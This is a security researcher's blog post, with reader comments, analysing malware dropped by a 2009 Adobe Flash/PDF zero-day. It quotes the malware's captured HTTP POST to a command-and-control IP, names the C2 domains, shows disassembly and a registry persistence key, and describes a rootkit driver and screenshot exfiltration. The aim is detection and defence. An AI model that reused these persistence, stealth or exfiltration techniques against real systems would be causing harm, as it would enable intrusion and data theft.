Who is Exploiting the Adobe Flash 0-day?

It looks like Zero-day discoveries for the month of July are not quite over yet. I have already talked about two vulnerabilities inside MS products earlier this month:

July 7th 2009:   Who is Exploiting the Windows 0-day (MSVIDCTL.DLL) ?
July 14th 2009: Who is Exploiting the Office Web Components 0-day?

Then came the 3rd one inside Mozilla FireFox 3.5, almost at the exact same time.  Sadly enough, this article is about another 0-day (fourth in a row) which has recently been discovered in the Adobe Flash player.  As of today, this vulnerability is unpatched and is currently being exploited in the wild. To make it even worse, this vulnerability may also be exploited via 'Adobe PDF Reader' by misusing its support for the SWF component.  According to Adobe, 'Adobe Reader' , 'Acrobat 9.1.2', and 'Adobe Flash Player 9 and 10' are vulnerable to this attack.

Who is trying to exploit this vulnerability?  To find this answer I ran one of the malicious pdf files (09a0f7aae0e22b5d80c7950890f3f738) inside my sandnet, running the Adobe Reader 9.1. As expected, in a few seconds I observed Adobe Reader crash after creating and executing a new file, SUCHOST.EXE (96cb88dfc54f765c30d44ba60117fa72).

There's no doubt this executable was embedded inside the PDF file, as no external resources were ever accessed to download and execute this binary. Immediately after, I observed the following outbound communication on TCP/4000.

POST http://59.175.238.82/*eef2e2cf*/kmpyokf HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-tw
Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 59.175.238.82
Content-Length: 181
Connection: Keep-Alive
Cache-Control: no-cache

. ...Q=....!(Z...i.8o.

Did you guys notice anything...? The Carriage return is missing between the 'Accept-Encoding' and 'User-Agent' headers - this small typo by the malware author can be used to develop a very good outbound signature! Give it a try :)

For further confirmation, I looked into the malware code . It was true indeed, here is the code snippet which is formulating this POST request incorrectly.

.text:10005A96                 push    offset aAccept_0 ; "Accept: */*\r\n"
.text:10005A9B                 mov     ecx, [ebp+Dest]
.text:10005A9E                 push    ecx             ; Dest
.text:10005A9F                 call    strcat
.text:10005AA4                 add     esp, 8
.text:10005AA7                 push    offset aContentTypeApp ; "Content-Type: application/x-www-form-ur"...
.text:10005AAC                 mov     edx, [ebp+Dest]
.text:10005AAF                 push    edx             ; Dest
.text:10005AB0                 call    strcat
.text:10005AB5                 add     esp, 8
.text:10005AB8                 push    offset aAcceptLanguage ; "Accept-Language: zh-tw\r\n"
.text:10005ABD                 mov     eax, [ebp+Dest]
.text:10005AC0                 push    eax             ; Dest
.text:10005AC1                 call    strcat
.text:10005AC6                 add     esp, 8
.text:10005AC9                 push    offset aAcceptEncoding ; "Accept-Encoding: gzip, deflate" [MISSING \r\n]
.text:10005ACE                 mov     ecx, [ebp+Dest]
.text:10005AD1                 push    ecx             ; Dest
.text:10005AD2                 call    strcat
.text:10005AD7                 add     esp, 8
.text:10005ADA                 push    offset aUserAgentMozil ; "User-Agent: Mozilla/4.0 (compatible; MS"...
.text:10005ADF                 mov     edx, [ebp+Dest]
.text:10005AE2                 push    edx             ; Dest

Another thing to note here is that ip (59.175.238.82) was not hard coded in the 'POST' request, but instead was resolved with an earlier DNS look up to CnC domain 'webswan.33iqst.com' and/or 'webswan.zurge.org'.

WHOIS lookup for the CnC domains and IP looks like this:

What's inside SUCHOST.EXE?  Upon execution, this executable adds itself in the start up by adding the following registry key.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components with StubPath = %SYSTEM32/SUCHOST.EXE -s

This will make sure that SUCHOST.exe should run at least once for each logged-in user. Furthermore, it drops two files onto the file system,  %SYSTEM32%/bswan.dll (628b14fd6a740b0981d76bebc6dd965e) and %SYSTEM32%/drivers/sysmon.sys (d41fdf70072792e49054541a93a5cadf ).

sysmon.sys is installed as a driver service under the TDI group, and its purpose is to be sure the other malware components remain stealthy, by hiding the malware related files and registry keys.

I got an important clue about the malware underlying functionality when I started investigating an exported function 'GetMoniter' [sic] within bswan.dll.  The purpose of this exported function and inner routine was to capture the user's desktop by using screen shots, and to send it over to the remote server . These screen shots are not sent to the remote server in plain BMP format, but are further compressed via Windows cabinet APIS like FCICreate, FCIAdd etc. Compressing screen shots in the cabinet format (.cab) makes them smaller and much harder to identify.

Another interesting nugget found during the analysis was a piece of code inside bswan.dll which tries to detect browser's configured proxy settings to let the malware communicate to its CnC, even behind proxy firewalls. This shows that malware authors are well aware of network configurations in big enterprises and are planning to target them specifically.

My investigation of this malware is not over yet. I'll keep on updating this article with new findings.

In the end of these articles, I like to talk about some of the mitigating factors.  Unfortunately, here, I have nothing much to say.

Here is the summary of AV detection so far (based on VT data) :

PDF File          =  7/41 (17.07%)

SUCHOST.EXE = 9/36 (25.00%)

sysmon.sys     = 2/40 (5.00%)

bswan.dll        =  5/41 (12.20%)

Even disabling the Javascript engine inside Adobe Reader won't solve this problem.  The best defense is to be careful before opening any files coming from untrusted sources (although in a drive-by case this won't help either), and generally be especially careful while browsing.  If none of these suggestions work for you, one might choose to do what I just did..

One easy step and you are safe ..:)

Atif Mushtaq @ FireEye Malware Intelligence Lab

Question/Comments : research SHIFT-2 fireeye DOT COM

Comments

[bot]

the same is true (i think) for a vista UAC "normal" user.

[James Larsof]

Will NoScript still protect against this sort of attack in a driveby download form, as it does against other driveby downloads? Or are we left high and dry here too? Thanks.

[Fake Name]

The best solution to simply use a 3rd party pdf reader.

SumatraPDF is Fast and open source:
http://blog.kowalczyk.info/software/sumatrapdf/index.html

Foxit reader is a bit more powerful, though it's closed source:
http://www.foxitsoftware.com/pdf/reader/

Both are far faster than acrobat, too.

[H. Karimi]

I have a question...

How do you guys find samples to analysis... I have a security blog too and I want to analyze and publish very detailed explanations about it, but I'm not able to find any sample for none of 0-day bugs... What should I do? How you find samples to analysis?

Please explain it if possible... I really need to know...
Here is my e-mail: hkarimi83 [at] yahoo [dot] com

If possible send me sample of this Flash file sample.

Thanks
Regards

[iTinker]

RE: mitigation

Q: would DEP (hardware+software, opt-in or always on) prevent the heap spray from succeeding?

Q: if the attacked (XP) user was a normal (not admin) user and was running under a "line of business" software restriction policy (SRP) the execution of any exe from %TEMP% should be blocked. the same is true (i think) for a vista UAC "normal" user. does the exe attempt any permission escalation to avoid this? is the attack successful against an XP normal user with SRP or a vista normal user with UAC?

[heh]

Did you notice that the server shows directory listings and right up front a phpmyadmin directory? hxxp://59.175.238.82/

[Eric "Secrunner"]

Very good analysis. I think this is further evidence that Adobe still needs to address their security announcements. The would do well to analyze beyond the entry-point. Of course, I'm sure from a PR angle, it's easier to say, "oh yeah, just disable this and your fixed...patch coming end of month", than to actually have to say, "yeah, it's nasty and there isn't a good fix beyond good AV until we have a patch available".

[MarkN]

Can you advise on the best way to analyse sys files?